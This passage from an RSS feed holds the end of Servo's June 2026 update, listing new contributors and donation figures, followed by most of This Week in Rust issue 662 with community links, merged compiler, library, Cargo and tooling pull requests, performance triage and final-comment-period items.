<h3>New contributors <a class="header-anchor" href="https://servo.org/blog/2026/07/31/june-in-servo/#new-contributors">
        <span class="icon hashlink"><i class="fas fa-link"></i></span>
      </a></h3>
<p>A special thanks to the following people for landing their first patch in Servo:</p>
<ul>
<li>Deepam Goyal (<a href="https://github.com/Deepam02">@Deepam02</a>, <a href="https://github.com/servo/servo/pull/44836">#44836</a>)</li>
<li>Mark (<a href="https://github.com/Mark-Boger">@Mark-Boger</a>, <a href="https://github.com/servo/servo/pull/45486">#45486</a>)</li>
<li>Mr SheerLuck (<a href="https://github.com/MrSheerluck">@MrSheerluck</a>, <a href="https://github.com/servo/servo/pull/45557">#45557</a>)</li>
<li>Psychpsyo (Cameron) (<a href="https://github.com/Psychpsyo">@Psychpsyo</a>, <a href="https://github.com/servo/servo/pull/45494">#45494</a>)</li>
<li>TusharSariya (<a href="https://github.com/TusharSariya">@TusharSariya</a>, <a href="https://github.com/servo/servo/pull/43663">#43663</a>)</li>
<li>Adam Sharif (<a href="https://github.com/adamsharifc">@adamsharifc</a>, <a href="https://github.com/servo/servo/pull/45551">#45551</a>)</li>
<li>Akash Ravikumar (<a href="https://github.com/ak4shravikumar">@ak4shravikumar</a>, <a href="https://github.com/servo/servo/pull/45736">#45736</a>)</li>
<li>Sean Cunneen (<a href="https://github.com/alexcat3">@alexcat3</a>, <a href="https://github.com/servo/servo/pull/45419">#45419</a>)</li>
<li>Abdul Wahab Melethil Shibu (<a href="https://github.com/cychronex-labs">@cychronex-labs</a>, <a href="https://github.com/servo/servo/pull/45880">#45880</a>)</li>
<li>darkdragon-001 (<a href="https://github.com/darkdragon-001">@darkdragon-001</a>, <a href="https://github.com/servo/servo/pull/45267">#45267</a>)</li>
<li>Frédéric Wang Nélar (<a href="https://github.com/fred-wang">@fred-wang</a>, <a href="https://github.com/servo/servo/pull/45834">#45834</a>)</li>
<li>fxzjshm (<a href="https://github.com/fxzjshm">@fxzjshm</a>, <a href="https://github.com/servo/servo/pull/45285">#45285</a>)</li>
<li>Piyush Gupta (<a href="https://github.com/guptapiyush16">@guptapiyush16</a>, <a href="https://github.com/servo/servo/pull/45845">#45845</a>)</li>
<li>Ivo Murrell (<a href="https://github.com/ivomurrell">@ivomurrell</a>, <a href="https://github.com/servo/servo/pull/45645">#45645</a>)</li>
<li>rhit-kapilaar (<a href="https://github.com/rhit-kapilaar">@rhit-kapilaar</a>, <a href="https://github.com/servo/servo/pull/45556">#45556</a>)</li>
<li>sahvx655-wq (<a href="https://github.com/sahvx655-wq">@sahvx655-wq</a>, <a href="https://github.com/servo/servo/pull/45510">#45510</a>)</li>
<li>Kagami Sascha Rosylight (<a href="https://github.com/saschanaz">@saschanaz</a>, <a href="https://github.com/servo/servo/pull/45731">#45731</a>)</li>
<li>shangguanmachine-dot (<a href="https://github.com/shangguanmachine-dot">@shangguanmachine-dot</a>, <a href="https://github.com/servo/servo/pull/45310">#45310</a>)</li>
<li>Glenn Skrzypczak (<a href="https://github.com/skyz1">@skyz1</a>, <a href="https://github.com/servo/servo/pull/45471">#45471</a>)</li>
<li>Oskar Steiger (<a href="https://github.com/steigeo">@steigeo</a>, <a href="https://github.com/servo/servo/pull/45416">#45416</a>)</li>
<li>Veyndan Stuart (<a href="https://github.com/veyndan">@veyndan</a>, <a href="https://github.com/servo/servo/pull/45326">#45326</a>)</li>
</ul>
<p>Interested in helping build a web browser?
Take a look at our <a href="https://starters.servo.org/">curated list</a> of issues that are good for new contributors!</p>
<h3>Donations <a class="header-anchor" href="https://servo.org/blog/2026/07/31/june-in-servo/#donations">
        <span class="icon hashlink"><i class="fas fa-link"></i></span>
      </a></h3>
<p>Thanks again for your generous support!
We are now receiving <strong>7681 USD/month</strong> (+0.2% from May) in recurring donations.
This helps us cover the cost of our <strong><a href="https://ci0.servo.org/">speedy</a> <a href="https://ci1.servo.org/">CI</a> <a href="https://ci2.servo.org/">and</a> <a href="https://ci3.servo.org/">benchmarking</a> <a href="https://ci4.servo.org/">servers</a></strong>, one of our latest <strong><a href="https://www.outreachy.org/alums/2026-05/#:~:text=Servo">Outreachy interns</a></strong>, and funding <strong><a href="https://servo.org/blog/2025/09/17/your-donations-at-work-funding-jdm/">maintainer work</a></strong> that helps more people contribute to Servo.</p>
<p>Servo is also on <a href="https://thanks.dev/">thanks.dev</a>, and already <strong>35 GitHub users</strong> (same as May) that depend on Servo are sponsoring us there.
If you use Servo libraries like <a href="https://crates.io/crates/url/reverse_dependencies">url</a>, <a href="https://crates.io/crates/html5ever/reverse_dependencies">html5ever</a>, <a href="https://crates.io/crates/selectors/reverse_dependencies">selectors</a>, or <a href="https://crates.io/crates/cssparser/reverse_dependencies">cssparser</a>, signing up for <a href="https://thanks.dev/">thanks.dev</a> could be a good way for you (or your employer) to give back to the community.</p>
<p>We now have <a href="https://servo.org/blog/2025/11/21/sponsorship-tiers/"><strong>sponsorship tiers</strong></a> that allow you or your organisation to donate to the Servo project with public acknowlegement of your support.
If you’re interested in this kind of sponsorship, please contact us at <a href="mailto:join@servo.org">join@servo.org</a>.</p>
<figure class="_fig"><div class="_flex">
    <div>
        <div><strong>7681</strong> USD/month</div>
        <div></div>
        <div></div>
        <div><strong>10000</strong></div>
    </div>
    <progress max="10000" value="7681"></progress>
</div></figure>
<p>Use of donations is decided transparently via the Technical Steering Committee’s public <strong><a href="https://github.com/servo/project/blob/main/FUNDING_REQUEST.md">funding request process</a></strong>, and active proposals are tracked in <a href="https://github.com/servo/project/issues/187">servo/project#187</a>.
For more details, head to our <a href="https://servo.org/sponsorship/">Sponsorship page</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[This Week In Rust: This Week in Rust 662]]></title>
<description><![CDATA[Hello and welcome to another issue of This Week in Rust!
Rust is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
@thisweekinrust.bsky.social on Bluesky or
@ThisWeekinRu...]]></description>
<link>https://tsecurity.de/de/3698405/tools/this-week-in-rust-this-week-in-rust-662/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3698405/tools/this-week-in-rust-this-week-in-rust-662/</guid>
<pubDate>Mon, 03 Aug 2026 00:10:18 +0200</pubDate>
<content:encoded><![CDATA[<p>Hello and welcome to another issue of <em>This Week in Rust</em>!
<a href="https://www.rust-lang.org/">Rust</a> is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
<a href="https://bsky.app/profile/thisweekinrust.bsky.social">@thisweekinrust.bsky.social</a> on Bluesky or
<a href="https://mastodon.social/@thisweekinrust">@ThisWeekinRust</a> on mastodon.social, or
<a href="https://github.com/rust-lang/this-week-in-rust">send us a pull request</a>.
Want to get involved? <a href="https://github.com/rust-lang/rust/blob/main/CONTRIBUTING.md">We love contributions</a>.</p>
<p><em>This Week in Rust</em> is openly developed <a href="https://github.com/rust-lang/this-week-in-rust">on GitHub</a> and archives can be viewed at <a href="https://this-week-in-rust.org/">this-week-in-rust.org</a>.
If you find any errors in this week's issue, <a href="https://github.com/rust-lang/this-week-in-rust/pulls">please submit a PR</a>.</p>
<p>Want TWIR in your inbox? <a href="https://this-week-in-rust.us11.list-manage.com/subscribe?u=fd84c1c757e02889a9b08d289&amp;id=0ed8b72485">Subscribe here</a>.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-rust-community">Updates from Rust Community</a></h4>


<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#newsletters">Newsletters</a></h5>
<ul>
<li><a href="https://scientificcomputing.rs/monthly/2026-07">Scientific Computing in Rust #20 (July 2026)</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#projecttooling-updates">Project/Tooling Updates</a></h5>
<ul>
<li><a href="https://github.com/fodydev/afrim/releases/tag/v0.7.0">afrim 0.7.0: a generic input method framework</a></li>
<li><a href="https://github.com/TamedTornado/cargo-reapi/blob/main/docs/introducing-cargo-reapi.md">Sharing Rust build work across Cargo worktrees with cargo-reapi</a></li>
<li><a href="https://github.com/Le-Syl21/exiftool-rs/releases/tag/v0.7.0">exiftool-rs 0.7.0: localizing ExifTool's PrintConv values, not just its labels</a></li>
<li><a href="https://www.sea-ql.org/blog/2026-07-27-sea-orm-2.0/">Announcing SeaORM 2.0</a></li>
<li><a href="https://github.com/kunobi-ninja/kobe/releases/tag/v0.37.0">kobe 0.37.0: easier to deploy and install</a></li>
<li><a href="https://github.com/kunobi-ninja/kache/releases/tag/v0.12.0">kache 0.12.0: pluggable remotes, smarter GC, sharper diagnostics</a></li>
<li><a href="https://lwn.net/SubscriberLink/1083202/f1ba926cd57ac5c5/">Progress toward compiling Linux with gccrs</a></li>
<li><a href="https://flodl.dev/blog/then-i-looked-at-it">flodl 0.7.0: one dashboard view, repeated at every level</a></li>
<li><a href="https://github.com/singhpratech/samkhya/releases/tag/v1.2.1">samkhya 1.2.1 — the join-cardinality ceiling becomes provable</a></li>
<li><a href="https://brewfs.ai/en/blog/introducing-brewfs">BrewFS: a Rust and JuiceFS-like distributed filesystem</a> </li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#observationsthoughts">Observations/Thoughts</a></h5>
<ul>
<li><a href="https://shnatsel.github.io/improving-std-simd-swizzle-dyn/">Improving std::simd::swizzle_dyn</a></li>
<li><a href="https://ferrous-systems.com/blog/query-cycles-a-compiler-murder-mystery/">Query cycles: A compiler murder mystery</a></li>
<li><a href="https://notnite.com/blog/gdpatch">GDPatch: a versatile Godot mod loader</a></li>
<li><a href="https://itsallaboutthebit.com/memory-safety-absolutists/">Memory Safety Absolutists</a></li>
<li><a href="https://blog.jetbrains.com/rust/2026/07/27/cpp-to-rust-migration/">C++ to Rust Migration</a></li>
<li><a href="https://developerlife.com/2026/07/14/build-high-performance-flat-2d-arrays-in-rust/">High-Performance Flat 2D Arrays in Rust with SIMD, L1 Cache</a></li>
<li><a href="https://teaql.io/blog/java-rust-microservice-integration-with-teaql/">Building Java–Rust Microservices with TeaQL: Models, Events, and Audit Intent</a></li>
<li><a href="https://www.99francs.agency/blog/python-to-rust-trading-bot-migration">How We Cut a Trading Bot's Reaction Time from ~2 Seconds to Milliseconds — by Moving Only the Hot Path to Rust</a></li>
<li><a href="https://c410-f3r.github.io/thoughts/esp32-server-distributing-http2-streams-over-tls">ESP32 Server: Distributing HTTP/2 streams over TLS</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=ut5EHZ2FK0c">Rust Berlin Talks · 23/07/2026</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-walkthroughs">Rust Walkthroughs</a></h5>
<ul>
<li><a href="https://ai-router.hashnode.dev/rust-llm-stream-retry-safety">No Tokens Yet Does Not Mean a Rust LLM Stream Is Safe to Retry</a></li>
<li>[series] <a href="https://plabayo.tech/blog/rama-101-2-core-concepts">Rama 101.2: Core Concepts</a></li>
<li>[video] [series] <a href="https://www.youtube.com/watch?v=rBzPw6WurN0">What's Inside Axum?</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#crate-of-the-week">Crate of the Week</a></h4>
<p>This week's crate is <a href="https://codeberg.org/filmroellchen/cargo-efmt">cargo-efmt</a>, a drop-in replacement for cargo fmt to support <code>.editorconfig</code>.</p>
<p>Thanks to <a href="https://users.rust-lang.org/t/crate-of-the-week/2704/1632">kleines Filmröllchen</a> for the self-suggestion!</p>
<p><a href="https://users.rust-lang.org/t/crate-of-the-week/2704">Please submit your suggestions and votes for next week</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#calls-for-testing">Calls for Testing</a></h4>
<p>An important step for RFC implementation is for people to experiment with the
implementation and give feedback, especially before stabilization.</p>
<p>If you are a feature implementer and would like your RFC to appear in this list, add a
<code>call-for-testing</code> label to your RFC along with a comment providing testing instructions and/or
guidance on which aspect(s) of the feature need testing.</p>
<p><em>No calls for testing were issued this week by
<a href="https://github.com/rust-lang/rust/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rust</a>,
<a href="https://github.com/rust-lang/cargo/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/rustup/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rustup</a> or
<a href="https://github.com/rust-lang/rfcs/issues?q=label%3Acall-for-testing%20state%3Aopen">Rust language RFCs</a>.</em></p>
<p><a href="https://github.com/rust-lang/this-week-in-rust/issues">Let us know</a> if you would like your feature to be tracked as a part of this list.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#call-for-participation-projects-and-speakers">Call for Participation; projects and speakers</a></h4>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-projects">CFP - Projects</a></h5>
<p>Always wanted to contribute to open-source projects but did not know where to start?
Every week we highlight some tasks from the Rust community for you to pick and get started!</p>
<p>Some of these tasks may also have mentors available, visit the task page for more information.</p>



<ul>
<li><em>No Calls for participation were submitted this week.</em></li>
</ul>
<p>If you are a Rust project owner and are looking for contributors, please submit tasks <a href="https://github.com/rust-lang/this-week-in-rust?tab=readme-ov-file#call-for-participation-guidelines">here</a> or through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-events">CFP - Events</a></h5>
<p>Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.</p>


<ul>
<li><em>No Calls for papers or presentations were submitted this week.</em></li>
</ul>
<p>If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-the-rust-project">Updates from the Rust Project</a></h4>
<p>570 pull requests were <a href="https://github.com/search?q=is%3Apr+org%3Arust-lang+is%3Amerged+merged%3A2026-07-21..2026-07-28">merged in the last week</a></p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler">Compiler</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/143208">apply RemoveNoopLandingPads post-monomorphization</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158901">closures inherit <code>#[optimize]</code> from the enclosing function by default</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159317">fix <code>bool</code> calling convention for aarch64, etc</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159609">optimize <code>escape_string_symbol()</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159695"><code>proc_macro</code>: Fix <code>cfg_attr</code> inner attrs in file modules</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159440">resolve: more preperation work for parallelizing the import resolution loop</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/155697">stabilize c-variadic function definitions</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#library">Library</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/155795">constify <code>vec![1, 2, 3]</code> macro</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159435">core: implement <code>Rng</code> for references</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159656">define a <code>Simd</code> type in <code>minicore</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159738">implement <code>CovariantUnsafeCell</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159846">implement <code>str::copy_from_str</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159518">iter: extend <code>step_by</code> specialization to cover <code>StepBy&lt;RangeIter&lt;{integer}&gt;&gt;</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158547">move <code>std::io::buffered</code> to <code>alloc::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156225">num: improve error messages for <code>TryFromIntError</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159271">str: add ASCII fast path to <code>word_to_titlecase</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159733">switch implementations of <code>thread_local!</code> for WASI</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cargo">Cargo</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/cargo/pull/17248">add haiku's dylib path</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17251"><code>diag</code>: bound transitive unused dependency traversal</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17243"><code>git</code>: Hide git fetch output without progress</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17252"><code>git</code>: Suggest libgit2 if git-cli fails</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17256"><code>test</code>: gate trim-paths tests on split debuginfo support</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17051"><code>toml</code>: warn on hyphenated lint names and duplicates</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17266">allow setting <code>-Zembed-metadata</code> value from the config</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17258">enable build-dir layout v2 on nightly by default</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17247">zsh completion: Add <code>-p</code> and <code>--package</code> flags for <code>cargo add</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rustfmt">Rustfmt</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159737">allow file not found errors for external mods annotated with <code>#[my_macro]</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158372">discover modules via <code>cfg_select!</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rustdoc">Rustdoc</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/156474">add paths for linked associated items</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159722">Retrieve <code>cfg_attr</code> information for derived impls for <code>doc_cfg</code> feature</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159623">only build extern trait impls if needed</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159721">only inline impls for local primitives</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#clippy">Clippy</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17441">add <code>EULER_GAMMA</code> and <code>GOLDEN_RATIO</code> to <code>approx_constant</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17149">add <code>assert_is_empty</code> lint</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17044">apply safety comment to compound assignment statement</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17420"><code>blocks_in_conditions</code>: Don't lint if the block creates temporarie…</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17294">call <code>in_external_macro</code> after running other checks in various places</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17105">do not trigger <code>clippy::exit</code> when expression comes from an external macro</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17002"><code>duration_suboptimal_units</code>: print the complete method name in the suggestion</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17313">extend <code>branches_sharing_code</code> to match arms with a shared tail</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16741"><code>min_ident_chars</code> lint short idents even if follows trait naming</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17461"><code>multiple_unsafe_ops_per_block</code>: false positive in with taking an reference to a static, but not reading/writing it</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17448">fix <code>four_forward_slashes</code> false positive on inner doc comments</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17434"><code>lint-page</code>: add accessible labels to filters</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17336">new lint: <code>nonnull_unchecked_on_box_ptr</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17227">perf: avoid per-call type and path work in <code>unnecessary_mut_passed</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17410">perf: find tab groups in doc comments without allocating</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17363">rewrite <code>EndianBytes</code> lint pass</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-analyzer">Rust-Analyzer</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22851">add diagnostic for <code>struct</code> patterns which don't specify sub-patterns for its fields</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22898">add parentheses for invert general expression</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22905">attach db on worker threads in parallel analysis-stats inference</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22876">change unsupported toolchain version to match reality</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22903">discover protocol should only parse stdout</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22881">do not detect <code>#[rust_analyzer]</code> as <code>#[rust_analyzer::rust_fixture]</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22919">don't offer <code>replace_qualified_name_with_use</code> on an unqualified path</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22930">don't panic on a qualified path whose trait is not a trait</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22932">don't pick a discriminant type larger than typeck's</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22908">fix stale lock file</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22924">fix <code>.zip(None)</code> call</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22923">give <code>impl_trait_with_diagnostics</code> a cycle result</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22909">make analysis-stats progress bar Unicode-safe</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22892"><code>merge_imports</code> panic on invalid paths</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22843">panic on macro-defined structs with unknown fields</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22918">prefer <code>alloc</code> over <code>std</code> paths when <code>preferNoStd</code> is set</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22854">record obligation chain for unimplemented trait diagnostics and show it</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22916">replace detach with delete for <code>ast::IdentPat</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22743">resolve path on all namespace on <code>resolve_path</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22660">respect <code>references.exclude[Tests/Imports]</code> in references lens</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22587">scoped lazy priming</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22306">support inactive-code diagnostic in macros</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22896">uses bool instead pat ty in guard</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-compiler-performance-triage">Rust Compiler Performance Triage</a></h5>
<p>Several large improvements landed in the past week:</p>
<ul>
<li>rustdoc is on average roughly 16% faster across all of our doc benchmarks:</li>
<li><a href="https://github.com/rust-lang/rust/pull/159721">rustdoc: Only inline impls for local primitives</a>, 7% faster doc builds</li>
<li><a href="https://github.com/rust-lang/rust/pull/159779">rustdoc: Only synthesize auto/blanket impls for documented items</a>, another 7% faster doc builds</li>
<li><a href="https://github.com/rust-lang/rust/pull/159623">rustdoc: Only build extern trait impls if needed</a>, another 10% faster doc builds</li>
<li><a href="https://github.com/rust-lang/rust/pull/143208">Early removal of no-op panic handling in debug builds</a>. This speeds up Cargo by ~4% in cycle count.</li>
<li><a href="https://github.com/rust-lang/rust/pull/159609">Optimize escape_string_symbol()</a> sped
  up large <code>include_bytes!</code>/<code>include_str!</code> through changes to string escaping, avoiding a regression in upcoming LLVM 23 upgrade.</li>
</ul>
<p>Great to see so many improvements!</p>
<p>Triage done by <strong>@simulacrum</strong>.
Revision range: <a href="https://perf.rust-lang.org/?start=d527bc9bfa297ca7fd7f5ae93781eeec42073170&amp;end=ad0c9dce27a22416b65946bc0010edaf22ac6c83&amp;absolute=false&amp;stat=instructions%3Au">d527bc9b..ad0c9dce</a></p>
<p><a href="https://github.com/rust-lang/rustc-perf/blob/main/triage/2026/2026-07-27.md">Full report here</a></p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#approved-rfcs"></a><a href="https://github.com/rust-lang/rfcs/commits/master">Approved RFCs</a></h5>
<p>Changes to Rust follow the Rust <a href="https://github.com/rust-lang/rfcs#rust-rfcs">RFC (request for comments) process</a>. These
are the RFCs that were approved for implementation this week:</p>
<ul>
<li><em>No RFCs were approved this week.</em></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#final-comment-period">Final Comment Period</a></h5>
<p>Every week, <a href="https://www.rust-lang.org/team.html">the team</a> announces the 'final comment period' for RFCs and key PRs
which are reaching a decision. Express your opinions now.</p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#tracking-issues-prs">Tracking Issues &amp; PRs</a></h6>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust"></a><a href="https://github.com/rust-lang/rust/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Rust</a>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/158447">Shallow resolve ty and const vars to their root vars, attempt 2</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157841">Ensure inferred let pattern types are well-formed</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159746">stabilize <code>c_variadic_naked_functions</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157036">lint against repeated repr attributes</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159525">Stabilize passing 128-bit integers via vector registers with <code>asm!</code> on x86</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159583">Add new <code>invalid_markdown_table</code> rustdoc lint</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159503">allocations: document that they can be read-only</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159729">allocations are allowed to grow (but not shrink)</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/159298">Tracking Issue for <code>bool::toggle</code></a></li>
<li><a href="https://github.com/rust-lang/rust/issues/71835">Tracking Issue for const_btree_len</a></li>
<li>
<p><a href="https://github.com/rust-lang/rust/pull/138230">Add <code>raw_borrows_via_references</code> lint</a></p>
</li>
<li>
<p><a href="https://github.com/rust-lang/rust/issues/152761">Never break between empty parens</a></p>
</li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler-team-mcps-only"></a><a href="https://github.com/rust-lang/compiler-team/issues?q=label%3Amajor-change%20label%3Afinal-comment-period%20state%3Aopen">Compiler Team</a> <a href="https://forge.rust-lang.org/compiler/mcp.html">(MCPs only)</a>
<ul>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1017">Wasm proc macro support</a></li>
<li>
<p><a href="https://github.com/rust-lang/compiler-team/issues/980">group target modifier options under -T</a></p>
</li>
<li>
<p><a href="https://github.com/rust-lang/compiler-team/issues/922">Optimize repr(Rust) enums by omitting tags in more cases involving uninhabited variants.</a></p>
</li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/841">Proposal for Adapt Stack Protector for Rust</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-rfcs"></a><a href="https://github.com/rust-lang/rfcs/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Rust RFCs</a>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3984">RFC: Refactor the libs team</a></li>
<li><a href="https://github.com/rust-lang/rfcs/pull/3924">Cargo: <code>hints.min-opt-level</code></a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#cargo_1"></a><a href="https://github.com/rust-lang/cargo/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Cargo</a>
<ul>
<li><a href="https://github.com/rust-lang/cargo/pull/17214">feat(profile): Add built-in profile debug</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17126">feat(toml): allow overriding inherited default-features in 2024</a></li>
</ul>
<p><em>No Items entered Final Comment Period this week for
<a href="https://github.com/rust-lang/reference/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Reference</a>,
<a href="https://github.com/rust-lang/lang-team/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Team</a>,
<a href="https://github.com/rust-lang/leadership-council/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Leadership Council</a> or
<a href="https://github.com/rust-lang/unsafe-code-guidelines/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Unsafe Code Guidelines</a>.</em>
Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#new-and-updated-rfcs"></a><a href="https://github.com/rust-lang/rfcs/pulls">New and Updated RFCs</a></h5>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3987">RFC: Externref lang item for Wasm targets</a></li>
</ul>
